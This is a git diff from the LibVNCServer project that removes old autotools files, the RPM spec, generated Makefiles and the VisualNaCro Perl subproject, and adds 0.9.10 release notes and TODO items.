-`--x-libraries=DIR' to specify their locations.
-
-Specifying the System Type
-==========================
-
- There may be some features `configure' can not figure out
-automatically, but needs to determine by the type of host the package
-will run on. Usually `configure' can figure that out, but if it prints
-a message saying it can not guess the host type, give it the
-`--host=TYPE' option. TYPE can either be a short name for the system
-type, such as `sun4', or a canonical name with three fields:
- CPU-COMPANY-SYSTEM
-
-See the file `config.sub' for the possible values of each field. If
-`config.sub' isn't included in this package, then this package doesn't
-need to know the host type.
-
- If you are building compiler tools for cross-compiling, you can also
-use the `--target=TYPE' option to select the type of system they will
-produce code for and the `--build=TYPE' option to select the type of
-system on which you are compiling the package.
-
-Sharing Defaults
-================
-
- If you want to set default values for `configure' scripts to share,
-you can create a site shell script called `config.site' that gives
-default values for variables like `CC', `cache_file', and `prefix'.
-`configure' looks for `PREFIX/share/config.site' if it exists, then
-`PREFIX/etc/config.site' if it exists. Or, you can set the
-`CONFIG_SITE' environment variable to the location of the site script.
-A warning: not all `configure' scripts look for a site script.
-
-Operation Controls
-==================
-
- `configure' recognizes the following options to control how it
-operates.
-
-`--cache-file=FILE'
- Use and save the results of the tests in FILE instead of
- `./config.cache'. Set FILE to `/dev/null' to disable caching, for
- debugging `configure'.
-
-`--help'
- Print a summary of the options to `configure', and exit.
-
-`--quiet'
-`--silent'
-`-q'
- Do not print messages saying which checks are being made. To
- suppress all normal output, redirect it to `/dev/null' (any error
- messages will still be shown).
-
-`--srcdir=DIR'
- Look for the package's source code in directory DIR. Usually
- `configure' can determine that directory automatically.
-
-`--version'
- Print the version of Autoconf used to generate the `configure'
- script, and exit.
-
-`configure' also accepts some other, not widely useful, options.
diff --git a/LibVNCServer.spec b/LibVNCServer.spec
deleted file mode 100644
index e6fb1b5..0000000
--- a/LibVNCServer.spec
+++ /dev/null
@@ -1,97 +0,0 @@
-# Note that this is NOT a relocatable package
-Name: LibVNCServer
-Version: 0.9.9
-Release: 2
-Summary: a library to make writing a vnc server easy
-Copyright: GPL
-Group: Libraries/Network
-Packager: Johannes.Schindelin <Johannes.Schindelin@gmx.de>
-Source: %{name}-%{version}.tar.gz
-BuildRoot: %{_tmppath}/%{name}-%{version}-buildroot
-
-%description
-LibVNCServer makes writing a VNC server (or more correctly, a program
-exporting a framebuffer via the Remote Frame Buffer protocol) easy.
-
-It is based on OSXvnc, which in turn is based on the original Xvnc by
-ORL, later AT&T research labs in UK.
-
-It hides the programmer from the tedious task of managing clients and
-compression schemata.
-
-LibVNCServer was put together and is (actively ;-) maintained by
-Johannes Schindelin <Johannes.Schindelin@gmx.de>
-
-%package devel
-Requires: %{name} = %{version}
-Summary: Static Libraries and Header Files for LibVNCServer
-Group: Libraries/Network
-Requires: %{name} = %{version}
-
-%description devel
-Static Libraries and Header Files for LibVNCServer.
-
-%package x11vnc
-Requires: %{name} = %{version}
-Summary: VNC server for the current X11 session
-Group: User Interface/X
-Requires: %{name} = %{version}
-
-%description x11vnc
-x11vnc is to X Window System what WinVNC is to Windows, i.e. a server
-which serves the current X Window System desktop via RFB (VNC)
-protocol to the user.
-
-Based on the ideas of x0rfbserver and on LibVNCServer, it has evolved
-into a versatile and performant while still easy to use program.
-
-%prep
-%setup -n %{name}-%{version}
-
-%build
-# CFLAGS="$RPM_OPT_FLAGS" ./configure --prefix=%{_prefix}
-%configure
-make
-
-%install
-[ -n "%{buildroot}" -a "%{buildroot}" != / ] && rm -rf %{buildroot}
-# make install prefix=%{buildroot}%{_prefix}
-%makeinstall includedir="%{buildroot}%{_includedir}/rfb"
-
-%{__install} -d -m0755 %{buildroot}%{_datadir}/x11vnc/classes
-%{__install} webclients/VncViewer.jar webclients/index.vnc \
- %{buildroot}%{_datadir}/x11vnc/classes
-
-%clean
-[ -n "%{buildroot}" -a "%{buildroot}" != / ] && rm -rf %{buildroot}
-
-%pre
-%post
-%preun
-%postun
-
-%files
-%defattr(-,root,root)
-%doc README INSTALL AUTHORS ChangeLog NEWS TODO
-%{_bindir}/LinuxVNC
-%{_bindir}/libvncserver-config
-%{_libdir}/libvncclient.*
-%{_libdir}/libvncserver.*
-
-%files devel
-%defattr(-,root,root)
-%{_includedir}/rfb/*
-
-%files x11vnc
-%defattr(-,root,root)
-%{_bindir}/x11vnc
-%{_mandir}/man1/x11vnc.1*
-%{_datadir}/x11vnc/classes
-
-%changelog
-* Fri Aug 19 2005 Alberto Lusiani <alusiani@gmail.com> release 2
-- create separate package for x11vnc to prevent conflicts with x11vnc rpm
-- create devel package, needed to compile but not needed for running
-* Sun Feb 9 2003 Johannes Schindelin
-- created libvncserver.spec.in
-
diff --git a/Makefile b/Makefile
deleted file mode 100644
index a87b859..0000000
--- a/Makefile
+++ /dev/null
@@ -1,938 +0,0 @@
-# Makefile.in generated by automake 1.11.6 from Makefile.am.
-# Makefile. Generated from Makefile.in by configure.
-
-# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
-# 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software
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diff --git a/Makefile.am b/Makefile.am
index e244fe8..5c2a94d 100644
--- a/Makefile.am
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@@ -1,9 +1,7 @@
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-DIST_SUBDIRS=libvncserver examples libvncclient vncterm webclients client_examples test
+SUBDIRS=libvncserver examples libvncclient webclients client_examples test
+DIST_SUBDIRS=libvncserver examples libvncclient webclients client_examples test
EXTRA_DIST = CMakeLists.txt rfb/rfbint.h.cmake rfb/rfbconfig.h.cmake
bin_SCRIPTS = libvncserver-config
diff --git a/Makefile.in b/Makefile.in
deleted file mode 100644
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- fi
-mostlyclean-generic:
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-
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- -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
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- @echo "This command is intended for maintainers to use"
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- -rm -f $(am__CONFIG_DISTCLEAN_FILES)
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- distclean-libtool distclean-tags
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- ctags-recursive install-am install-strip tags-recursive
-
-.PHONY: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) CTAGS GTAGS \
- all all-am am--refresh check check-am clean clean-generic \
- clean-libtool ctags ctags-recursive dist dist-all dist-bzip2 \
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-
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-$(PACKAGE)-$(VERSION).tar.gz: dist
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-@HAVE_RPM_TRUE@ cp $(PACKAGE)-$(VERSION).tar.gz @RPMSOURCEDIR@
-@HAVE_RPM_TRUE@ rpmbuild -ba $(PACKAGE).spec
-
-t:
- $(MAKE) -C test test
-
-# Tell versions [3.59,3.63) of GNU make to not export all variables.
-# Otherwise a system limit (for SysV at least) may be exceeded.
-.NOEXPORT:
diff --git a/NEWS b/NEWS
index a5d0a89..218ecdb 100644
--- a/NEWS
+++ b/NEWS
@@ -1,3 +1,27 @@
+0.9.10
+ - Overall changes:
+ * Moved the whole project from sourceforge to https://libvnc.github.io/.
+ * Cleaned out the autotools build system which now uses autoreconf.
+ * Updated noVNC HTML5 client to latest version.
+ * Split out x11vnc sources into separate repository at
+ https://github.com/LibVNC/x11vnc
+ * Split out vncterm sources into separate repository at
+ https://github.com/LibVNC/vncterm
+ * Split out VisualNaCro sources into separate repository at
+ https://github.com/LibVNC/VisualNaCro
+ * Merged Debian patches.
+
+ - LibVNCServer/LibVNCClient:
+ * Fixed some security-related buffer overflow cases.
+ * Added compatibility headers to make LibVNCServer/LibVNCClient build on native
+ Windows 8.
+ * Update LZO to version 2.07, fixing CVE-2014-4607.
+
+ - LibVNCServer:
+ * Merged patches from KDE/krfb.
+ * Can now do IPv6 without IPv4.
+ * Fixed a use-after-free issue in scale.c.
+
0.9.9
- Overall changes:
* Added noVNC HTML5 VNC viewer (http://kanaka.github.com/noVNC/) connect possibility
diff --git a/TODO b/TODO
index e8f7763..3139f35 100644
--- a/TODO
+++ b/TODO
@@ -1,5 +1,8 @@
immediate:
----------
+- Add sources for the java stuff.
+- Implement encryption in libvncserver.
+- Add a libvncclient-config script.
make SDLvncviewer more versatile
- test for missing keys (especially "[]{}" with ./examples/mac),
diff --git a/VisualNaCro/.gitignore b/VisualNaCro/.gitignore
deleted file mode 100644
index a7007d3..0000000
--- a/VisualNaCro/.gitignore
+++ /dev/null
@@ -1,5 +0,0 @@
-/COPYING
-/INSTALL
-/nacro.pm
-/nacro.so
-/nacro_wrap.c
diff --git a/VisualNaCro/AUTHORS b/VisualNaCro/AUTHORS
deleted file mode 100644
index 1081101..0000000
--- a/VisualNaCro/AUTHORS
+++ /dev/null
@@ -1,2 +0,0 @@
-Johannes Schindelin <Johannes.Schindelin@gmx.de>
-
diff --git a/VisualNaCro/ChangeLog b/VisualNaCro/ChangeLog
deleted file mode 100644
index 78b9858..0000000
--- a/VisualNaCro/ChangeLog
+++ /dev/null
@@ -1,15 +0,0 @@
-2006-10-10: Johannes Schindelin <Johannes.Schindelin@gmx.de>
- * implement --compact and --compact-dragging to shut up the
- script about mouse movements or drags.
- * add 'i', 'c' and 'r' menu keys.
-
-2006-09-12: Johannes Schindelin <Johannes.Schindelin@gmx.de>
- * the reference rectangle is selected with a rubber band,
- and can be shown with 'd'.
-
-2006-06-15: Johannes Schindelin <Johannes.Schindelin@gmx.de>
- * added timing: you can record the events with their timestamps now
-
-2005-01-13: Johannes Schindelin <Johannes.Schindelin@gmx.de>
- * started the project
-
diff --git a/VisualNaCro/Makefile.am b/VisualNaCro/Makefile.am
deleted file mode 100644
index 7b1fe67..0000000
--- a/VisualNaCro/Makefile.am
+++ /dev/null
@@ -1,51 +0,0 @@
-INTERFACE=nacro.h
-SRCS=nacro.c
-OBJS=nacro.o
-ISRCS=nacro_wrap.c
-IOBJS=nacro_wrap.o
-TARGET=nacro
-LIBS= @LIBVNCSERVERLIBS@
-
-nacro_CFLAGS= @LIBVNCSERVERCFLAGS@
-
-SWIGOPT=
-
-EXTRA_DIST=autogen.sh $(INTERFACE) $(SRCS) $(ISRCS) nacro.pm recorder.pl
-
-all: $(LIBPREFIX)$(TARGET)$(SO)
-
-# the following is borrowed from SWIG
-
-SWIG= @SWIG@
-
-##################################################################
-##### PERL 5 ######
-##################################################################
-
-# You need to set this variable to the Perl5 directory containing the
-# files "perl.h", "EXTERN.h" and "XSUB.h". With Perl5.003, it's
-# usually something like /usr/local/lib/perl5/arch-osname/5.003/CORE.
-
-PERL5_INCLUDE= @PERL5EXT@
-
-# Extra Perl specific dynamic linking options
-PERL5_DLNK = @PERL5DYNAMICLINKING@
-PERL5_CCFLAGS = @PERL5CCFLAGS@
-
-# ----------------------------------------------------------------
-# Build a Perl5 dynamically loadable module (C)
-# ----------------------------------------------------------------
-
-$(ISRCS): $(INTERFACE)
- @test -n "$(SWIG)" || (echo "Need SWIG" && exit 1)
- $(SWIG) -perl5 $(SWIGOPT) $(INTERFACE)
-
-$(OBJS): $(SRCS) $(INTERFACE)
- $(CC) -c -Dbool=char $(CCSHARED) $(CFLAGS) -o $@ $< $(LIBVNCSERVERCFLAGS) $(INCLUDES) -I$(PERL5_INCLUDE)
-
-$(IOBJS): $(ISRCS) $(INTERFACE)
- $(CC) -c -Dbool=char $(CCSHARED) $(CFLAGS) -o $@ $< $(INCLUDES) $(PERL5_CCFLAGS) -I$(PERL5_INCLUDE)
-
-$(LIBPREFIX)$(TARGET)$(SO): $(OBJS) $(IOBJS)
- $(LDSHARED) $(OBJS) $(IOBJS) $(PERL5_DLNK) $(LIBS) -o $(LIBPREFIX)$(TARGET)$(SO)
-
diff --git a/VisualNaCro/NEWS b/VisualNaCro/NEWS
deleted file mode 100644
index 6707d33..0000000
--- a/VisualNaCro/NEWS
+++ /dev/null
@@ -1,10 +0,0 @@
-With --timing, you can actually record action scripts which are meaningful...
-Earlier, the events just got garbled, because the GUI could not react as
-fast as the events were churned out.
-
-Clipboard is supported (thanks to Uwe).
-
-Keys are recorded by their symbols with the --symbolic switch, provided you
-have the X11::Keysyms module.
-
-After pressing Control twice, you can show the last reference image with 'd'.
diff --git a/VisualNaCro/README b/VisualNaCro/README
deleted file mode 100644
index 8c92b32..0000000
--- a/VisualNaCro/README
+++ /dev/null
@@ -1,88 +0,0 @@
-This is VisualNaCro.
-
-DISCLAIMER: recorder.pl is not yet functional.
-
-What does it?
-
- It is a Perl module meant to remote control a VNC server.
-
- It includes a recorder (written in Perl) to make it easy to
- record a macro, which is just a Perl script, and which you can
- modify to your heart's content.
-
- The most important feature, however, is that you can mark a
- rectangle which the Perl script will try to find again when you
- run it. Thus when you play a game and want to hit a certain button,
- you just hit the Ctrl key twice, mark the button, and from then on,
- all mouse movements will be repeated relative to that button, even
- if the button is somewhere else when you run the script the next
- time.
-
- If you know Tcl Expect, you will recognize this approach. Only this
- time, it is not text, but an image which is expected.
-
-How does it work?
-
- It acts as a VNC proxy: your Perl script starts its own VNC server.
- The script now can intercept inputs and outputs, and act upon them.
- In order to write a macro, start
-
- recorder.pl --script my-macro.pl --timing host:port
-
- connect with a vncviewer of your choice to <host2>:23, where <host2>
- is the computer on which recorder.pl was started (not necessarily the
- same as the VNC server!). Now your actions are recorded into
- my_macro.pl, and the images you want to grep for will be saved as
- my_macro-1.pnm, my_macro-2.pnm, ...
-
- In order to finish the script, hit Ctrl twice and say "q".
-
-Why did I do it?
-
- Because I could ;-)
-
- No really, I needed a way to write automated tests. While there
- exist a lot of OpenSource programs for web testing, I found none
- of them easy to use, and for GUI testing I found xautomation.
-
- Xautomation has this "visual grep" (or "graphical expect") feature:
- given an image it tries to find it on the desktop and returns the
- coordinates. Unfortunately, there is no easy way to record macros
- with it, and it only works on X11.
-
- As I know VNC pretty well, and there are VNC servers for every OS
- and gadget, I thought it might be cool to have this feature to
- control a VNC server.
-
- Actually, it makes it even easier: with plain X11, for example, you
- can not know where on the screen the action is if you don't check
- the whole screen. This complex problem is beautifully addressed
- in Karl Runge's x11vnc.
-
- My main purpose is to run regression tests on different browsers,
- which I can easily do by starting Xvnc and using VisualNaCro.
-
-How did I do it?
-
- I wondered long about how to do it. I couldn't take the same approach
- as xautomation: I cannot connect to the VNC server thousand times
- per second. So I decided to create an interface of LibVNCServer/
- LibVNCClient for use in a script language.
-
- Fortunately, this task is made very, very easy by SWIG. As Perl
- is one of my favorite script languages, I decided to use this.
- But SWIG makes it easy to use the very same interface for other
- popular languages, so you are welcome to port VisualNaCro to
- the language of your choice!
-
-Isn't it pronounced "Visual Macro"?
-
- Yes. But I liked the Visual Na Cro play of acronyms. I'm sorry if
- you don't find it funny.
-
-What's the license?
-
- GPL. It is based on LibVNCServer/LibVNCClient, so it has to be.
- If you want to port this package to use vncreflector, which has a
- BSD license, go ahead.
-
diff --git a/VisualNaCro/autogen.sh b/VisualNaCro/autogen.sh
deleted file mode 100755
index 2d1645d..0000000
--- a/VisualNaCro/autogen.sh
+++ /dev/null
@@ -1,55 +0,0 @@
-#! /bin/sh
-# Run this to generate all the initial makefiles, etc.
-
-srcdir=`dirname $0`
-test -z "$srcdir" && srcdir=.
-
-DIE=0
-
-AUTOMAKE=automake-1.4
-ACLOCAL=aclocal-1.4
-
-($AUTOMAKE --version) < /dev/null > /dev/null 2>&1 || {
- AUTOMAKE=automake
- ACLOCAL=aclocal
-}
-
-(autoconf --version) < /dev/null > /dev/null 2>&1 || {
- echo
- echo "You must have autoconf installed to compile VisualNaCro."
- echo "Download the appropriate package for your distribution,"
- echo "or get the source tarball at ftp://ftp.gnu.org/pub/gnu/"
- DIE=1
-}
-
-($AUTOMAKE --version) < /dev/null > /dev/null 2>&1 || {
- echo
- echo "You must have automake installed to compile VisualNaCro."
- echo "Get ftp://sourceware.cygnus.com/pub/automake/automake-1.4.tar.gz"
- echo "(or a newer version if it is available)"
- DIE=1
-}
-
-if test "$DIE" -eq 1; then
- exit 1
-fi
-
-(test -f $srcdir/nacro.h) || {
- echo "You must run this script in the top-level VisualNaCro directory"
- exit 1
-}
-
-if test -z "$*"; then
- echo "I am going to run ./configure with no arguments - if you wish "
- echo "to pass any to it, please specify them on the $0 command line."
-fi
-
-$ACLOCAL $ACLOCAL_FLAGS
-#autoheader
-$AUTOMAKE --add-missing --copy
-autoconf
-
-echo "Running ./configure --enable-maintainer-mode" "$@"
-$srcdir/configure --enable-maintainer-mode "$@"
-
-echo "Now type 'make' to compile VisualNaCro."
diff --git a/VisualNaCro/configure.ac b/VisualNaCro/configure.ac
deleted file mode 100644
index 1f78317..0000000
--- a/VisualNaCro/configure.ac
+++ /dev/null
@@ -1,252 +0,0 @@
-dnl Process this file with autoconf to produce a configure script.
-dnl The macros which aren't shipped with the autotools are stored in the
-dnl Tools/config directory in .m4 files.
-
-AC_INIT([VisualNaCro],[0.1],[http://libvncserver.sourceforge.net])
-AC_PREREQ(2.54)
-AC_CANONICAL_HOST
-AM_INIT_AUTOMAKE
-
-dnl Checks for programs.
-AC_CHECK_PROG(SWIG,swig,swig)
-AC_CHECK_PROG(LIBVNCSERVERCONFIG,libvncserver-config,yes,no)
-if test "$LIBVNCSERVERCONFIG" != "yes"; then
- AC_MSG_ERROR([Need to have libvncserver-config in PATH])
- exit 1
-fi
-AC_PROG_CC
-AC_PROG_RANLIB
-AC_EXEEXT
-AC_OBJEXT
-
-LIBVNCSERVERCFLAGS=`libvncserver-config --cflags`
-LIBVNCSERVERLIBS=`libvncserver-config --libs`
-AC_SUBST(LIBVNCSERVERCFLAGS)
-AC_SUBST(LIBVNCSERVERLIBS)
-
-dnl Checks for header files.
-AC_HEADER_STDC
-
-dnl How to specify include directories that may be system directories.
-# -I should not be used on system directories (GCC)
-if test "$GCC" = yes; then
- ISYSTEM="-isystem "
-else
- ISYSTEM="-I"
-fi
-
-
-# Set info about shared libraries.
-AC_SUBST(SO)
-AC_SUBST(LDSHARED)
-AC_SUBST(CCSHARED)
-AC_SUBST(LINKFORSHARED)
-
-# SO is the extension of shared libraries `(including the dot!)
-AC_MSG_CHECKING(SO)
-if test -z "$SO"
-then
- case $host in
- *-*-hp*) SO=.sl;;
- *-*-darwin*) SO=.bundle;;
- *-*-cygwin* | *-*-mingw*) SO=.dll;;
- *) SO=.so;;
- esac
-fi
-AC_MSG_RESULT($SO)
-
-# LDSHARED is the ld *command* used to create shared library
-# -- "ld" on SunOS 4.x.x, "ld -G" on SunOS 5.x, "ld -shared" on IRIX 5
-# (Shared libraries in this instance are shared modules to be loaded into
-# Python, as opposed to building Python itself as a shared library.)
-AC_MSG_CHECKING(LDSHARED)
-if test -z "$LDSHARED"
-then
- case $host in
- *-*-aix*) LDSHARED="\$(srcdir)/ld_so_aix \$(CC)";;
- *-*-cygwin* | *-*-mingw*)
- if test "$GCC" = yes; then
- LDSHARED="dllwrap --driver-name gcc --dlltool dlltool --export-all-symbols --as as --dllname \$(LIBPREFIX)\$(TARGET)\$(SO)"
- else
- if test "cl" = $CC ; then
- # Microsoft Visual C++ (MSVC)
- LDSHARED="$CC -nologo -LD"
- else
- # Unknown compiler try gcc approach
- LDSHARED="$CC -shared"
- fi
- fi ;;
- *-*-irix5*) LDSHARED="ld -shared";;
- *-*-irix6*) LDSHARED="ld ${SGI_ABI} -shared -all";;
- *-*-sunos4*) LDSHARED="ld";;
- *-*-solaris*) LDSHARED="ld -G";;
- *-*-hp*) LDSHARED="ld -b";;
- *-*-osf*) LDSHARED="ld -shared -expect_unresolved \"*\"";;
- *-sequent-sysv4) LDSHARED="ld -G";;
- *-*-next*)
- if test "$ns_dyld"
- then LDSHARED='$(CC) $(LDFLAGS) -bundle -prebind'
- else LDSHARED='$(CC) $(CFLAGS) -nostdlib -r';
- fi
- if test "$with_next_framework" ; then
- LDSHARED="$LDSHARED \$(LDLIBRARY)"
- fi ;;
- *-*-linux*) LDSHARED="gcc -shared";;
- *-*-dgux*) LDSHARED="ld -G";;
- *-*-freebsd3*) LDSHARED="gcc -shared";;
- *-*-freebsd* | *-*-openbsd*) LDSHARED="ld -Bshareable";;
- *-*-netbsd*)
- if [[ "`$CC -dM -E - </dev/null | grep __ELF__`" != "" ]]
- then
- LDSHARED="cc -shared"
- else
- LDSHARED="ld -Bshareable"
- fi;;
- *-sco-sysv*) LDSHARED="cc -G -KPIC -Ki486 -belf -Wl,-Bexport";;
- *-*-darwin*) LDSHARED="cc -bundle -undefined suppress -flat_namespace";;
- *) LDSHARED="ld";;
- esac
-fi
-AC_MSG_RESULT($LDSHARED)
-# CCSHARED are the C *flags* used to create objects to go into a shared
-# library (module) -- this is only needed for a few systems
-AC_MSG_CHECKING(CCSHARED)
-if test -z "$CCSHARED"
-then
- case $host in
- *-*-hp*) if test "$GCC" = yes;
- then CCSHARED="-fpic";
- else CCSHARED="+z";
- fi;;
- *-*-linux*) CCSHARED="-fpic";;
- *-*-freebsd* | *-*-openbsd*) CCSHARED="-fpic";;
- *-*-netbsd*) CCSHARED="-fPIC";;
- *-sco-sysv*) CCSHARED="-KPIC -dy -Bdynamic";;
- *-*-irix6*) case $CC in
- *gcc*) CCSHARED="-shared";;
- *) CCSHARED="";;
- esac;;
- esac
-fi
-AC_MSG_RESULT($CCSHARED)
-
-# RPATH is the path used to look for shared library files.
-AC_MSG_CHECKING(RPATH)
-if test -z "$RPATH"
-then
- case $host in
- *-*-solaris*) RPATH='-R. -R$(exec_prefix)/lib';;
- *-*-irix*) RPATH='-rpath .:$(exec_prefix)/lib';;
- *-*-linux*) RPATH='-Xlinker -rpath $(exec_prefix)/lib -Xlinker -rpath .';;
- *) RPATH='';;
- esac
-fi
-AC_MSG_RESULT($RPATH)
-AC_SUBST(RPATH)
-
-# LINKFORSHARED are the flags passed to the $(CC) command that links
-# the a few executables -- this is only needed for a few systems
-
-AC_MSG_CHECKING(LINKFORSHARED)
-if test -z "$LINKFORSHARED"
-then
- case $host in
- *-*-aix*) LINKFORSHARED='-Wl,-bE:$(srcdir)/python.exp -lld';;
- *-*-hp*)
- LINKFORSHARED="-Wl,-E -Wl,+s -Wl,+b\$(BINLIBDEST)/lib-dynload";;
- *-*-linux*) LINKFORSHARED="-Xlinker -export-dynamic";;
- *-*-next*) LINKFORSHARED="-u libsys_s";;
- *-sco-sysv*) LINKFORSHARED="-Bdynamic -dy -Wl,-Bexport";;
- *-*-irix6*) LINKFORSHARED="-all";;
- esac
-fi
-AC_MSG_RESULT($LINKFORSHARED)
-
-# This variation is needed on OS-X because there is no (apparent) consistency in shared libary naming.
-# Sometimes .bundle works, but sometimes .so is needed. It depends on the target language
-
-# Optional CFLAGS used to silence compiler warnings on some platforms.
-
-AC_SUBST(PLATFLAGS)
-case $host in
- *-*-darwin*) PLATFLAGS="-Wno-long-double";;
- *) PLATFLAGS="";;
-esac
-
-#----------------------------------------------------------------
-# Look for Perl5
-#----------------------------------------------------------------
-
-PERLBIN=
-
-AC_ARG_WITH(perl5,[ --with-perl5=path Set location of Perl5 executable],[ PERLBIN="$withval"], [PERLBIN=])
-
-# First figure out what the name of Perl5 is
-
-if test -z "$PERLBIN"; then
-AC_CHECK_PROGS(PERL, perl perl5.8.1 perl5.6.1 perl5.6.0 perl5.004 perl5.003 perl5.002 perl5.001 perl5 perl)
-else
-PERL="$PERLBIN"
-fi
-
-
-AC_MSG_CHECKING(for Perl5 header files)
-if test -n "$PERL"; then
- PERL5DIR=`($PERL -e 'use Config; print $Config{archlib}, "\n";') 2>/dev/null`
- if test "$PERL5DIR" != ""; then
- dirs="$PERL5DIR $PERL5DIR/CORE"
- PERL5EXT=none
- for i in $dirs; do
- if test -r $i/perl.h; then
- AC_MSG_RESULT($i)
- PERL5EXT="$i"
- break;
- fi
- done
- if test "$PERL5EXT" = none; then
- PERL5EXT="$PERL5DIR/CORE"
- AC_MSG_RESULT(could not locate perl.h...using $PERL5EXT)
- fi
-
- AC_MSG_CHECKING(for Perl5 library)
- PERL5LIB=`($PERL -e 'use Config; $_=$Config{libperl}; s/^lib//; s/$Config{_a}$//; print $_, "\n"') 2>/dev/null`
- if test "$PERL5LIB" = "" ; then
- AC_MSG_RESULT(not found)
- else
- AC_MSG_RESULT($PERL5LIB)
- fi
- AC_MSG_CHECKING(for Perl5 compiler options)
- PERL5CCFLAGS=`($PERL -e 'use Config; print $Config{ccflags}, "\n"' | sed "s/-I/$ISYSTEM/") 2>/dev/null`
- if test "$PERL5CCFLAGS" = "" ; then
- AC_MSG_RESULT(not found)
- else
- AC_MSG_RESULT($PERL5CCFLAGS)
- fi
- else
- AC_MSG_RESULT(unable to determine perl5 configuration)
- PERL5EXT=$PERL5DIR
- fi
-else
- AC_MSG_RESULT(could not figure out how to run perl5)
-fi
-
-# Cygwin (Windows) needs the library for dynamic linking
-case $host in
-*-*-cygwin* | *-*-mingw*) PERL5DYNAMICLINKING="-L$PERL5EXT -l$PERL5LIB";;
-*)PERL5DYNAMICLINKING="";;
-esac
-
-AC_SUBST(PERL)
-AC_SUBST(PERL5EXT)
-AC_SUBST(PERL5DYNAMICLINKING)
-AC_SUBST(PERL5LIB)
-AC_SUBST(PERL5CCFLAGS)
-
-#----------------------------------------------------------------
-# Miscellaneous
-#----------------------------------------------------------------
-
-AC_CONFIG_FILES([Makefile])
-AC_OUTPUT
-
-dnl configure.in ends here
diff --git a/VisualNaCro/default8x16.h b/VisualNaCro/default8x16.h
deleted file mode 100644
index 252f411..0000000
--- a/VisualNaCro/default8x16.h
+++ /dev/null
@@ -1,261 +0,0 @@
-static unsigned char default8x16FontData[4096+1]={
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-0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,
-0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x1f,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,
-0x18,0x18,0x18,0x18,0x18,0x1f,0x18,0x1f,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,
-0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x37,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,
-0x36,0x36,0x36,0x36,0x36,0x37,0x30,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x00,0x3f,0x30,0x37,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,
-0x36,0x36,0x36,0x36,0x36,0xf7,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x00,0xff,0x00,0xf7,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,
-0x36,0x36,0x36,0x36,0x36,0x37,0x30,0x37,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,
-0x00,0x00,0x00,0x00,0x00,0xff,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-0x36,0x36,0x36,0x36,0x36,0xf7,0x00,0xf7,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,
-0x18,0x18,0x18,0x18,0x18,0xff,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x00,0xff,0x00,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,
-0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-0x18,0x18,0x18,0x18,0x18,0x1f,0x18,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x00,0x1f,0x18,0x1f,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,
-0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xff,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,
-0x18,0x18,0x18,0x18,0x18,0xff,0x18,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,
-0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,
-0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
-0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
-0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,
-0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,
-0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-0x00,0x00,0x00,0x00,0x00,0x76,0xdc,0xd8,0xd8,0xd8,0xdc,0x76,0x00,0x00,0x00,0x00,
-0x00,0x00,0x78,0xcc,0xcc,0xcc,0xd8,0xcc,0xc6,0xc6,0xc6,0xcc,0x00,0x00,0x00,0x00,
-0x00,0x00,0xfe,0xc6,0xc6,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x00,0x00,0x00,0x00,
